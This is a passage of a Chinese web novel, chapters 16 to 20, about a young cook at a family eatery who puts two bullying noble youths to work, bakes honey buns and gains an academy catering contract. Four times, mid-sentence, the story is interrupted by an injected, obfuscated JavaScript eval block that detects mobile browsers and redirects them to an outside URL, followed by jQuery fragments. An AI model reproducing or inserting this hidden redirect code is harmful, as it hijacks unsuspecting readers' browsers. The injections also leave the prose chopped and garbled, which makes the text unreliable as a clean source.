;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913082|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上,“你会做菜?”
凌少卿点头,“会一点。”
黎小鱼露出一抹笑,“那正好,去看锅吧。”
煮的时候实在太热,黎小鱼受不了热,可火候又要控制离不开人。
这步没什么机密,交给凌少卿正好。他和卢大海负责出菜就可以。
“柳玉攀,你就在这给我和卢厨子扇风。”黎小鱼指着冰盆,一脸严肃的强调,“一定要对着冰盆扇,这样更凉快。”
柳玉攀眼瞪的椭圆,仿佛是听到了什么难以置信的话,音调都飙高了,“扇风?我扇你还差不多!”
黎小鱼双手插着抱于胸前,笑了一声说:“你来扇个试试?”
“试试就试试!我忍你好久了!”
柳玉攀一个箭步上前,抬手就对着黎小鱼的脸扇过去。
他想象中能让他畅快的巴掌声没有出现,反而是他的手腕被扣住,那力道像是铁箍着一般,疼的他直接叫出声。
“靠!疼死我了!快松手!”
卢厨子在一旁看着干着急,生怕小东家惹了权贵闯下祸。
凌少卿被这突如其来的变故打得措手不及,他连忙上前,“黎小鱼,你放开我表弟。”
黎小鱼神色轻松,手上力道却加重许多,“你要我放开他?放他扇我啊?”
柳玉攀疼的整个人都扭曲了,另一只手使劲的巴拉着黎小鱼的手。
可不管他怎么用劲,都没办法让黎小鱼松开分毫。
这人看着瘦瘦矮矮的,哪来这么大的力气!真他娘的见鬼了!
凌少卿常会做菜,他最知道厨子手上的力道能有多大。
他实在听不下去柳玉攀的痛呼,要上手一起扒黎小鱼的手。
黎小鱼察觉到凌少卿的动作,“你今天敢动一下,柳玉攀的手腕就得废。”
“你敢伤我!以为你大伯父能护得了你?”
柳玉攀龇牙咧嘴的叫嚷一声,凌少卿也看向黎小鱼,“再不放手,凌家也不会放过你。”
黎小鱼又加重几分力道,柳玉攀惨叫出声。
“啊啊啊啊啊!疼死小爷了!”
黎小鱼充耳不闻,小声的对着二人道:“真有意思,两位是没断奶的小宝宝吗?在外找茬输了,就只会回家哭鼻子找爹娘?”
柳玉攀脖颈和额头的青筋凸起,整张脸和脖子都涨红一片,“你才是小宝宝!你全家都是小宝宝!小爷我今天就是手断了也不找人!”
“有骨气,不愧是柳玉攀。”
黎小鱼勾唇一笑,随即松开了柳玉攀的手腕。
凌少卿被黎小鱼刚刚的话说的羞臊,一时间没反应过来,还是柳玉攀往后退了一步撞上他,才看见黎小鱼松手了。
他赶紧查看柳玉攀手腕的情况,没受什么伤,就是红了一片。
他表弟皮肤比他们辞州土生土长的要白一些,红印看起来更明显。
柳玉攀转着手腕缓解难受的感觉,他凶狠的瞪着黎小鱼,结果黎小鱼看都不看他,直接给了他一个后脑勺。
这种生气发火,结果对方不理不睬的感觉实在是令人想爆炸。
卢大海看着气的直翻白眼的柳玉攀,有些害怕的挪了挪,凑到黎小鱼跟前,悄摸声的问,“小东家,咱干啥要惹他们呀?听说他们在辞州都是横着走的小霸王。”
黎小鱼点火,一阵热浪扑来,被他用锅给按下。
“今天不将这两人压下去,后面的日子才会是无穷无尽的麻烦。”
什么小霸王,不过是仗着有爹娘宠爱,在外为非作歹的熊孩子。
他专治熊孩子。
17. 第 17 章
柳玉攀闹的那一场,也没有躲过给黎小鱼还有卢大海扇风的活。
反而是一边手腕疼,一边要继续扇。
不过比凌少卿好一些,至少蹲在冰盆边上没有那么的热。
凌少卿已经被热气蒸腾,满脑门的汗,用来擦汗的帕子都湿透了。
后厨有了二人在,黎小鱼松快不少。
外面的食客不知道二人在里面,几乎都在谈论昨日的那场闹剧。
声音并不能传到后厨来,没给柳玉攀跳脚的机会。
忙活了一个时辰后,外面食客渐渐散去,黎小鱼给凌少卿和柳玉攀二人,一人一碗红烧牛肉炖土豆。
“米饭吃多少自己盛。”
柳玉攀想说不稀罕吃黎小鱼做的菜,可忙活一中午,肚子早就咕咕叫。
眼前的牛肉又像是故意勾引他腹中馋虫一般,拼命的散发香气。
柳玉攀将芭蕉扇一扔,吃饱了才能继续骂黎小鱼。
傻子才不吃。
二人就着红烧牛肉炖土豆,一口气吃了两碗大米饭。
就连最后的汤汁都被拿去拌饭,吃的干干净净。
柳玉攀打了个嗝,心道不妙。
完了,他又吃的太饱,今天不会一直放屁了吧!
在无尽的担忧中,柳玉攀和凌少卿结束了中午的活,上了马车。
斜对面,一直在观察着小饭馆的珍馔楼伙计,瞧着的人在小饭馆里一待就是一个时辰。
终于看到人出来,结果都没来得及上去问好,马车就直接朝着书院去了。
贺辞正巧站在雅间的窗边,看着下边从小饭馆出来的二人,他倚在窗边问裴叔群道:“凌少卿和柳玉攀是什么情况?”
“被黎小鱼下套了。”
贺辞疑惑,“黎小鱼?谁?”
裴叔群想了一下怎么形容,“昨天一直哭的那个。”
贺辞微微挑眉,哦,想起来了。
之前黎家的信息他看过,怪不得觉得名字耳熟,又一下子想不起来。
裴叔群将昨天在饭馆里面发生的事情从头到尾说了一遍,贺辞听完笑了一声,“一蠢蠢一窝。”
裴叔群点头同意,可不咋地。
贺辞看向楼下的黎家小饭馆,不过这黎小鱼倒是和面表现出来的有些不一样。
看起来温和无害,像只兔子。
实则一肚子的阴谋算计,是个两面三刀的。
以后还是离远些的好。
贺辞收回视线,带着人下楼回书院。
到门口的时候,正好瞧见黎小鱼站在饭馆门口,对他爹说什么。
黎小鱼与辞州人完全不一样,丢在人群里,一眼就能找到。
贺辞的视线,在瞬间就盯上了与周围格格不入的黎小鱼。
他只看一眼便转头上了马车。
因着动作太快,黎小鱼对此毫无所觉。
下午的时候没有什么人,黎小鱼琢磨着用小五送来的野蜂蜜做点吃食。
想来想去,准备做个蜂蜜小面包。
这个没有烤箱也能做,做法也简单。
不过这里没有发酵粉,需要面引子去发酵。这样能让做出来的面包更蓬松暄软。
面引子这东西家家户户都有,知道黎小鱼要做面食,饭馆里没有面引子,周珍娘专门回去一趟,问邻里借了过来。
将牛奶,面粉,鸡蛋,油,蜂蜜按照比例搅拌均匀,加入面引子进去揉搓,等待发酵。
时间到了,搓条切成大小一致的面剂子,擀面杖擀成长椭圆状后再卷起来,从中间切开。
切开的那一端沾蜂蜜水后再蘸糖。
大俞朝有糖,白糖,红糖,冰糖都有。
糖本就价贵,这里面白糖最贵,冰糖次之,红糖最便宜。
小饭馆里有红糖,黎小鱼直接蘸了红糖。
全都弄好后,砂锅底抹油,将其放在砂锅里面二次发酵。
最后开火控制着火候,等着做成。
又要有脆底不糊,又要保证熟了,实在是考验。
黎小鱼凭着过往做面点的经验,打起十二分的精神盯着。
随时调整火候,以及往砂锅里适当的倒入一些蜂蜜水,时不时的还需要晃动一下,防止粘连。
好在最后做成了,后厨满是甜香之气,闻着这味道都叫人觉得心情愉悦。
蜂蜜小面包香甜暄软,带着奶香,底部甜脆,口感丰富。
第一锅的大半进了黎九州和周珍娘的肚子里,小半进了卢大海和黎小鱼的肚子。
第二锅黎小鱼全部装了,让他爹给他大伯父送去。
卢大海去煮牛肉的时候,黎小鱼又做了许多些。
要送给小五的也用油纸包包好,还有借面引子的邻居那,黎小鱼都包了一些,回去的时候让他娘送去。
小五那边是黎小鱼去的,他把鼓囊囊还带着些温度的油纸包放到小五的怀中,“这是你早上给我的蜂蜜做的,拿回去尝尝。”
即便是用油纸包着,也挡不住那股香甜的味道。
小五只觉得内心实在煎熬,他其实不该再收,可是这实在是太香了,他又说不出一句拒绝的话来。
黎小鱼也没等他开口,笑着挥挥手,转身离开了。
人走之后,小五实在是好奇做的什么,便打开了油纸包。
一股奶甜的味道散开,引得小五猛吸一口气。
这味道,闻着就控制不住的想吃。
掌柜的在不远处,他也被味道吸引走了过来。
这会铺子里没人,伙计们做完手里的活,处理一下自己的私人事情,是在他的允许范围。
他凑近小五,眼睛不受控制的落在那油光发亮,奶香四溢的蜂蜜面包上。
这瞧着似乎是白面做的,也隐约闻见了红糖的味道。
用的料都是寻常百姓吃不起的金贵东西。
掌柜的狐疑的看向小五,“你昨日真的只是对着后厨喊了一声?不是去前头替黎家人挨揍了?”
小五摇头,“没替黎家挨揍啊。”
他真的就是放了一声提醒而已,话都没多说一句。
掌柜的闻着香气,“那这黎家人实在是太客气了,给的东西样样都比你送去的金贵。”
野蜂蜜贵是贵,可小五给的量也不算多。
黎小鱼送来的蜂蜜面包,是辞州没有过的东西,且不论是味道还是外观,都无可挑剔。
掌柜的摸一把胡子,借机偷偷的咂咂嘴,咽下分泌过多的口水。
这黎家小郎君给予的东西,超出小五的人情许多。总给他一种想要不亏不欠,还的干干净净的感觉。
“掌柜的不嫌弃尝尝?”
小五得了美味又新奇的吃食,这会正乐呵呵的看着他。
掌柜继续摸摸胡子,不再多想其他,故作矜持的点点头,“好吧。”
黎九州将油纸包好的蜂蜜小面包送到黎九章所在的小院时,已经傍晚了。
这会黎九章正好也饿了,准备让手下人弄些茶点过来垫垫肚子。
黎九州来的巧,听说是侄儿弄出来的点心,黎九章也不吃什么茶点了,直接吃起了蜂蜜小面包。
“怎么样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913083|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大哥,味道不错吧?”
黎九州手里也拿着一块,边往嘴里塞边笑眯眯的问他大哥。
“甜而不腻,口感暄软绵密,底部又有些甜脆之感,与众不同,增添风味。好吃。”
黎九州听着大哥的夸奖,就像是他被夸了一样,“读书人就是不一样,我就爱听大哥你说话。”
黎九章没好气的瞥了自家弟弟一眼,嚼着面包,状似不在意的问了一句,“小鱼不仅能将吃过的东西写出制作的过程,还能将这些毫无差错的做出来?”
“是啊,我家小鱼厉害吧。”
瞧着弟弟傻乐的模样,黎九章应了一声,视线落在蜂蜜小面包上,“这东西,我在京城没有见过,小鱼是什么时候吃过的?”
这倒是问住了黎九州,他想了一下后说:“小鱼最喜欢往外跑,搞不好就是在乡野间吃过吧。京城外的乡绅也不少,山里不是还说住着许多隐士高人吗。”
黎九章心中总觉得很怪异,但小鱼又从小就在他眼皮子底下长起来的,除了菜谱和做菜这事,也确实没有其他的不对劲。
想到黎小鱼自幼聪慧,理解的能力比起他的两个堂哥都要强上不少。
都说早慧之人多奇遇,对亲人还如此猜想,过于的伤情分。
黎九章也就打消了怀疑的念头。
“这叫蜂蜜……”
黎九州提醒道:“蜂蜜小面包。”
“这蜂蜜小面包我吃着味道不错,正好给同僚送去尝尝。他们可是很喜欢小鱼做的红烧牛肉炖土豆,天天都差人去买。”
黎九章留了一些,晚上带回去给妻子吃。
其他的都收拾一下,重新包好,准备拿去给同僚分一分。
上次他给同僚们分了红烧牛肉,后面大家也都给他带了许多东西。
有来有往,方能长久嘛。
黎九州也不能在这里多待,眼看着就到了晚上的饭点,他得回去忙活。
兄弟二人出了小巷后,各自分开。
黎九章带去的蜂蜜小面包得到了几位同僚的喜爱,年长的武大人最是喜欢。
这东西软绵绵的,又香又甜,不费牙口。
武大人问道:“这也是你那侄子做的?小饭馆里可有售卖?”
“没听说要卖。”
黎九章的话叫几位同僚有些失落,寒暄几句后,黎九章便离开了。
刚出府衙,就见方才还在吃小面包的楚大人小跑着追过来。
这天还热着,即便楚大人并不胖,此时也气喘吁吁,满头大汗。
“黎大人你这腿脚真是快,叫我一顿好追啊。”
楚大人用衣袖擦着汗,喘了几口气缓一会后,才拉着黎九章到僻静一点的地方。
左右环顾没有人,这才小声道:“黎大人,书院管饭堂的是我妹夫。他前两日同我说饭堂的厨子找着了门路,要去玉州。”
“找到合适的厨子还要有一段时间,饭堂的饭却需日日供应。你家侄子手艺不错,要不要每日多做些菜色,提供给书院?”
想到每次去小饭馆,都有不少人排队,里面也都是座无虚席。
楚大人又补充一句,“也不用太多,那书院里除了夫子外,没有多少学子去吃的。”
书院饭堂的活是个肥差,那厨子走了,根本就不缺人顶上去。
黎九章知道这是对方好意,他那侄儿的手艺也确实是没的说。
这个人情承下,不会叫对方难做,还能让弟弟一家能再多些收入。
黎九章没有拒绝,“多谢楚大人,下值后我便去与我那侄儿说一声。”
18. 第 18 章
傍晚时,书院响起下学的鼓声。
咚咚咚———
鼓声阵阵,每一声都像是敲在人的心头上。
凌少卿与柳玉攀从来没有如同今日这般,觉得这散学的鼓声来得太早。
“表哥,不然我还是找点人将黎小鱼给绑了吧。”
柳玉攀咬牙,“关他个一个月,等着契书上的时间过了,他到时候想算账也没用。”
凌少卿瞥了自家表弟一眼,有些无奈,“你整日里脑袋都在想些什么乱七八糟的?”
柳玉攀不高兴的皱眉,“那你能有什么好办法,能让黎小鱼不再这么折磨我们?”
他伸出双手,摆在凌少卿眼前,语气委屈,“我今天中午扇了一中午的风,手腕都疼死了。”
凌少卿将怼在他眼前,挡住他视线的手给打掉,“你那是扇风扇疼的吗?还不是因为你嘴贱,又打不过黎小鱼,这才被他伤了手腕。”
柳玉攀收回手哼了一声,“我还能叫他让一张纸给拴住了?反正我要找人教训他,不然我这面子以后往哪搁?”
凌少卿也有些心动,他虽说爱做饭,可是一直盯着那口大锅,人像是在火炉里面一般。
还要这样受一个月,铁打的也受不住啊。
瞧出自家表哥也心动,柳玉攀凑了过去,小声询问:“城南面的破庙里面有不少乞丐,他们都是没有户籍登记的流民,哪怕是事发也抓不住。表哥你要是点头,我现在立马就去找他们。”
“我不点头你就不去了?”凌少卿反问道。
柳玉攀实诚的摇头,“还是会去的。”
凌少卿想了一下,“今天不行。早上、中午你都在小饭馆做活,晚上突然不在,黎小鱼肯定会怀疑的。”
柳玉攀难得的听了他表哥的话,这黎小鱼确实有些邪性。
就他表哥那脑子,肯定骗不过黎小鱼。
到时候再说漏了嘴,叫黎小鱼开始警惕。
那他的计划岂不是再也没办法实施了?
柳玉攀不情愿的咬牙,“我就再忍他一会,等晚上的时候就叫人出城去找那群乞丐。”
凌少卿没有再劝阻,反正他表弟决定的事情,他也劝不动。
晚上的饭点,对面的珍馔楼人来人往。
黎家小饭馆里面,也都坐满了小厮丫鬟和伙计。
红烧牛肉炖土豆恢复了原价,吃的人比起那三天少了一些,但人流量比较平稳。
每天晚上黎小鱼盘帐,也能净赚一到二两的银子。
肯定比不上珍馔楼,也比不上之前在京城的酒楼。
但对客户群体并不那么有钱,且菜色单一的小饭馆来说,已经足够多了。
凌少卿和柳玉攀刚下马车进小饭馆,就听到有个小厮喊道:“一份红烧牛肉炖土豆,送去对面珍馔楼。”
凌少卿转头一看,还是个熟人。
辞州首富之子,邵怀筠的贴身小厮。
他们这些武将子嗣,虽与那些文臣之后不对付。可邵怀筠这群商贾之流,是他们都讨厌的。
都是仗着自家有几个臭钱,就每天嘚瑟个不停的主。
柳玉攀听到声音,呲了一声。
饭馆这会人挺多的,元夏没注意到二人。
凌少卿可不愿叫邵怀筠的人看到他们如今这模样,捂着柳玉攀的嘴,拖着人就进了后厨。
“表哥你要捂死我吗!”
柳玉攀费了九牛二虎之力挣扎开来,凌少卿有些嫌弃的用帕子擦手,“快进去吧。”
兄弟二人晚上干的活,和中午的一样。
后厨的火一直开着,温度居高不下,即便是傍晚,也依旧很热。
柳玉攀一改之前的态度,进去就老老实实的蹲在冰盆旁边,拿着芭蕉扇开始扇风。
黎小鱼盯着柳玉攀看了一会,惹的柳玉攀仰着头嚷嚷,“看什么看!”
“看你风扇的太小了。”
黎小鱼说完便回头继续做菜,柳玉攀咬着牙把芭蕉扇山的呼呼响。
凌少卿在一边稍稍的松一口气,他还以为黎小鱼看出了什么来呢。
……
黎九州端着一碗红烧牛肉炖土豆,出现在了珍馔楼的门口。
食客有外带的常见,外送的虽然少,但也存在。
加上元夏回来的时候就叮嘱过,对面小饭馆的人会来给他们送菜。
珍馔楼守在门口的伙计们,闻着飘散过来的菜香,咽了一下口水后,侧身放行。
在京城的时候,各家酒楼就经常会出现有给食客外送餐食的情况。
有的时候,还会让酒楼的伙计出去跑腿帮着买,那跑腿费都能赚不少。
辞州不比其他地方,这里什么都要落后一些。
就连菜色,那比起京城那些地方,都匮乏的可怜。
没什么特色,味道也不算多出彩。
这也是为什么,大酒楼周围的小饭馆,不像在京城一样,能够很好的存活下去的原因之一。
由于外送的情况少的可怜,在黎九州端着牛肉炖土豆出现在珍馔楼里的时候,吸引了不少人的目光。
黎九州深知这次进珍馔楼,也是一个机会。
这酒楼里的食客们,都是非富即贵的。
他们大多数是不愿在一个小饭馆里,与普通的老百姓们在一起挤着吃饭。
但若是外送来的话,那就不一定了。
黎九州故意扯着嗓子呦呵着,“让让,让让,刚出炉的红烧牛肉炖土豆,热的很咧,小心撞上!”
菜的香气没有办法传到每个人的鼻尖,但黎九州经过的地方,都留下了一阵浓郁肉香。
有人没忍住问了一句,“这牛肉怎么卖?”
黎九州赶着去雅间,转头快速回道:“郎君且等一下,我待会就下来,到时候与你细说。”
那人回道:“成,那你快些。”
邵怀筠最近爱上了黎家小饭馆的红烧牛肉,每天不吃,心里就不得劲,总觉得缺点什么。
他的朋友多,都是些不差钱的主。
听邵怀筠说要请他们吃什么人间美味,一个个的都很不相信。
辞州怎么可能还有他们没吃过的美味?
对此邵怀筠没有过多的解释,毕竟他在吃上红烧牛肉之前,也是这么想的。
黎九州没有进雅间,元夏和一众小厮都在外面候着,见到黎九州来,直接上前接过了餐盘。
按着要求,这份红烧牛肉炖土豆,量给的很足。
价格也是成倍翻涨的。
满满的一大盘子,元夏差点没拖住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913084|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,实在是够重的。
不过这菜量看着多,进去后怕是还不够吃的。
雅间里,邵怀筠一直压着众人,不准他们动筷子。
非要等什么人间美味来才可以开吃。
大家伙饿着肚子,都是敢怒不敢言的。
谁叫这位邵五郎家里比他们家都有钱呢。
自然是要捧着,敬着。
饿肚子的人,总是会觉得时间过的很慢。也不知等了多久,邵五郎身边,那叫元夏的小厮终于端着一大盘的菜进来。
他们都想要对元夏好好的感谢一番,可算是来了,终于能开始吃饭了。
随着元夏的靠近,菜香也开始弥散。
“这什么味?怎么这么香啊?”
几位穿金戴银的郎君们,纷纷将视线定在元夏手中的菜上,闻着香味忍不住咽口水。
元夏将散发着浓郁肉香的大盘子,放在桌面中间留好的位置上。
邵怀筠拿起筷子,毫不犹豫的夹了一块炖煮的软烂入味的牛肉,一下就塞进了嘴里。
腮帮子都鼓囊起来,还不忘说话,“香吧?吃起来更香,快尝尝吧。”
众人没有犹豫,都动了筷子。
也正如邵怀筠所说,这道菜的味道实乃一绝。
哪怕他们吃过许多的山珍海味,也不能否认,这道菜很好吃。
有人道:“等哪次集会,可以请这厨子去集会上做牛肉。”
邵怀筠觉得有理,“下次去风华山的时候我就派人去叫上这厨子。”
黎九州下去的时候,有三名食客在他那定了红烧牛肉炖土豆。
量虽然不多,但万事开头难,不怕少,就怕没有。
只要有人点了,吃着觉得好,那后面肯定不愁量了。
不出黎九州所料,那三份红烧牛肉送来后没多久,珍馔楼里就有不少人过来小饭馆这边。
都是要点红烧牛肉炖土豆,送去珍馔楼的。
这菜的味道实在是太香了,他们坐在周围,被菜香裹挟着。
又看人吃的那样的投入,一口接一口的头都没抬起来。
本来不准备买的人,看的也是有些馋,忍不住要买来尝尝。
反正对他们来说,这钱也不贵。
比起其他的牛肉菜价,已经是便宜许多了。
珍馔楼的掌柜的看着大堂坐着的客人们,大半都点了斜对面黎家小饭馆的菜。
这道菜这样受欢迎是他没有想到的。
他心中琢磨了一下,准备问问东家,要不要让后厨研究一下那红烧牛肉炖土豆是怎么做的。
*
柳玉攀因为心里藏着坏主意,今晚老实的不行。
结束的时候,黎小鱼让兄弟二人吃饭。
他们本想拒绝,可突然看见给他们的吃食里,有个没见过的东西。
闻着有淡淡的奶香味,瞧着像糕点,又有点不同。
因为好奇,便又都留了下来。
现在天热,黎小鱼做了不少的蜂蜜小面包,也放不了多久。
便想着大家都分分,一起吃。
给凌少卿和柳玉攀吃,也是对他们的精神抚慰。
算是打一棒子,给一甜枣吧。
毕竟人不能逼的太紧,不然会适得其反。
19. 第 19 章
兄弟二人显然很喜欢吃蜂蜜小面包,柳玉攀吃出了猪八戒吃人参果的架势,整个的往嘴里塞。
那狂放的吃相,凌少卿都有些看不下去。
黎小鱼靠在不远处的灶台边,一边吃东西,一边不着痕迹的观察着二人。
说实话,柳玉攀要是站在那一动不动的话,是真的很难想象他会是这样的人。
这人眼尾上翘,浓眉薄唇,身量高,腰板直。
只看长相外貌,是个十分斯文的人。
若是有眼镜戴上,就更添风采了。
可惜,他是个俊秀斯文书生的外貌,内心里住着十万八千个鲁智深。
凌少卿模样也俊,比柳玉攀情绪稳定,也总是会拉着些柳玉攀,不让他犯什么大错。
不过又很容易被柳玉攀说服。
本质上,两人是一样的人。
只是一个温和些,一个暴躁些。
兄弟二人吃完后,一抹嘴就要走。
黎小鱼提醒了他们一句,“明早别忘了来。”
柳玉攀不耐烦,“我又不是脑子不好,记得住,不要你提醒。”
上马车后,柳玉攀对凌少卿道:“表哥,黎小鱼做的那红烧牛肉,还有今晚的蜂蜜小面包都挺好吃的。要不要让李厨子试着做做看?”
珍馔楼掌柜的没有来得及和凌少卿说的话,让柳玉攀先说了。
凌少卿闻言皱眉,很是不愿的样子,“你这是什么话?当初我们不就是因为怀疑黎小鱼偷师才去教训的他。现在要是让李厨子去学着小饭馆的菜色去做,那我成什么了?”
“你又不是妖怪,还能成什么?依旧是人呗。”
柳玉攀视线落在凌少卿紧握的拳头上,“别拿你那指甲掐肉了,就算掐掉了,想就是想,不想就是不想。”
他随意一躺,靠着车壁。
“表哥你就是拧巴的很,没意思。要我说,想做就去做。真弄出来了,还能算报复一把黎小鱼,谁叫他使唤奴隶一样的使唤我们。”
柳玉攀一想到这个,眼神都变凶了些,“拿着张契书当令箭,看我不叫他好看!”
凌少卿听着表弟的话,松开了掐着肉的手。
“黎小鱼虽然只做了两样吃食,可我总觉得他不会只有这两样。珍馔楼是娘留给我的,我不能让它受到一点威胁。”
柳玉攀转头,来了些精神,“这不正好,反正你现在还在后厨里面做活,偷学起来都方便。”
凌少卿没有再说话,只是沉默着。
回到凌府后,柳玉攀就叫手下的人出了一趟城。
黎九章怕饭点的时候来人太多,耽误了小饭馆的生意。
便算着时间,在饭馆快打烊的时候才来。
正好与凌少卿兄弟二人岔开了。
“大哥你咋这时候来了?”
黎九州看到黎九章的时候还有些震惊,他傍晚刚送了小面包过去。
“有事。”
周珍娘快速的擦了桌子板凳,让黎九章坐过去。
她要去倒茶水,被黎九章阻住,“不用忙活了,说完我就回去。小鱼人呢?”
黎九州对着后厨喊了一嗓子,“小鱼!你大伯父找你!”
“来啦!”
黎小鱼很快过来,卢大海继续在后厨收拾。
“大伯父你找我?”
黎九章看着黎小鱼因闷热而有些泛红的脸,他笑了一下,“大伯父这有个好差事。”
将楚大人的话转述一遍后,黎九州和周珍娘脸上的笑意明显。
“太好了,咱们小鱼真厉害,做了道菜就得了大人的喜欢。有了书院的这笔生意,咱家的饭馆就真的要起来了!”
黎小鱼见夫妻二人高兴,他也跟着笑了起来。
书院的这生意确实不错,不管能做多久,总归是多了一笔进项。
家里的钱罐子,总算是要更满一些了。
正好牙行那边也找到了合适的帮工,明日人就会来做活。
黎小鱼要了两个人,加上凌少卿两人,完全够了。
人手足,也不怕耽误了给书院的餐食。
楚大人是真心想帮黎家小饭馆一把,专门叮嘱了黎九章,要是这边同意,再晚也要派人去楚府传一声消息。
黎九章怕自己去还要主人家起来接待,便打发贴身的小厮过去。
楚家那头接到消息,当即就派人去告知书院那边。
速度十分的快。
……
这一夜,凌少卿和柳玉攀二人都没睡好。
兄弟二人碰面的时候,都是一副无精打采的模样。
柳玉攀随便拿了块糕点带着路上吃,凌少卿则是没什么胃口,直接上了马车。
也不知是不是因为昨天的蜂蜜小面包的原因,柳玉攀突然觉得今天的糕点偏甜。
糖是只有权贵才能享用的东西,为了凸显地位,糕点中都会放许多的糖。
配着茶水吃正好,柳玉攀爱甜食,总是喜欢直接吃。
这还是柳玉攀第一次觉得,一直以来爱吃的糕点过甜,都有些齁嗓子。
将糕点快速吃下后,柳玉攀拧眉皱脸的。
凌少卿心里藏着事,没多注意其他。
下马车的时候还差点踩空,幸好柳玉攀伸手扶了一下,人没摔着。
“至于吓成这样吗?在车上就一直魂不守舍的。”柳玉攀声音压低,像是在宽慰凌少卿,“就是把人抓起来关一个月而已,又不动他。”
凌少卿闻言愣了一下,才反应过来柳玉攀说的什么,他怎么把这事给忘了!
他有些着急的反手拉住柳玉攀的手,警惕的看一眼周围,确定没人后才说:“你快叫人再去一趟,就说不抓了。”
“不抓了?!”
柳玉攀即便有意压低声音,但在这空旷的街道上还是显得有些响亮。
凌少卿一着急直接捂住柳玉攀的嘴,又把人拉回马车,在柳玉攀的瞪视下放手。
短暂的犹豫片刻后,他道:“我想问黎小鱼买菜谱,你要抓他的话,被他知道了,他肯定不会卖给我的。”
他们本来就有梁子,可不能再结怨了。
柳玉攀还当是什么事呢,他嗤笑一声,觉得自己表哥真是愚蠢。
“表哥你这是没睡醒,还在说梦话呢?只要不是走投
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913085|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无路,哪个厨子会卖菜谱啊?”
他拇指反指马车外,嘴角带着讥诮的笑,“我虽然讨厌黎小鱼,可他那手艺是没得说。”
“他那手艺,全看他黎小鱼想不想将小饭馆发展成酒楼。你问一个有大好前途的厨子买菜谱?疯啦?”
“要是他不想还好,想的话,肯定会影响珍馔楼的生意。表哥你昨晚不也是担心这个?”
趁着威胁没发展起来就此扼杀,才是正确的做法。
凌少卿低声反驳,“酒楼要有酒才行,各大酒楼能屹立不倒的原因,也多在酒。裴十二家管控着辞州酒业,叫他想办法不让他大哥通过黎家售卖酒的申请不就好了。”
“既然没酒,那又叫什么酒楼?自然只能一直开个专门卖菜肴的饭馆啊。”
柳玉攀笑了。
“裴十二坑你多少次你都不长记性,他那些花花肠子,比那些商贾之子都要多。他能为你冒险去找他大哥?”
他嘲讽道:“你还不如信我拜黎小鱼为师,学了那些菜,去给珍馔楼当厨子,然后奉养黎小鱼终老呢。”
凌少卿也觉得这事不太能成,可他也没办法真的去偷师。
虽然很想将珍馔楼越做越大,告慰他娘在天之灵。
可……
凌少卿叹一口气,“可我要是做出偷师之事,我娘会气的从坟里爬出来揍我的。”
提到姨母,柳玉攀不吭声了。
片刻后神情凝重的点头,“也是。那还是问问黎小鱼卖不卖菜谱吧。”
天色不早了,兄弟二人没有再继续说下去,赶紧下马车进了小饭馆。
此时里面已经有两个少年人在干活,一人擦桌子,一人扫地。
扫地的那个,连桌腿挡住的缝隙都不放过。
擦桌子的那个,将桌子擦的都能反光,却无一丝水迹。
他们的活,被抢了。
两名新来的伙计看见衣着华贵的兄弟二人,还以为他们是食客。
可又没听说饭馆里卖早饭,一时间不知道如何应对,急的要去后厨喊卢大海。
谁知道他们还没来得及动作,就见二人拿手挡脸,熟练的走到后厨。
昨天早上饭馆没人,兄弟二人在外面打扫就打扫了。
现在有人,他们两实在是不愿在外露面。
只好先遮遮颜面,去后厨再说。
卢大海瞧见人来,也不意外。
这都是小东家昨晚叮嘱他的。
小东家担心照着着凌少卿的打扫方法,桌子迟早被水泡坏,干脆不让他们在外面打扫了。
牙行招来的伙计今日正好第一天上工,叫他们做就成。
至于这两位公子哥,自然有别的安排。
“小东家说让你们今天早上来打水,那两口大缸,满了就成。”
随着卢大海的话,兄弟二人看向两口缸,嘴角都抽搐。
“这么大一口缸,黎小鱼是要累死我吗!”
柳玉攀第一个不同意。
凌少卿因为有求于人,他虽然心里也不想,嘴上却没说。
“那柳郎君可以等小东家来,与小东家说。”
20. 第 20 章
卢大海忙着处理手里的牛肉,今天可是要给书院送午饭的。
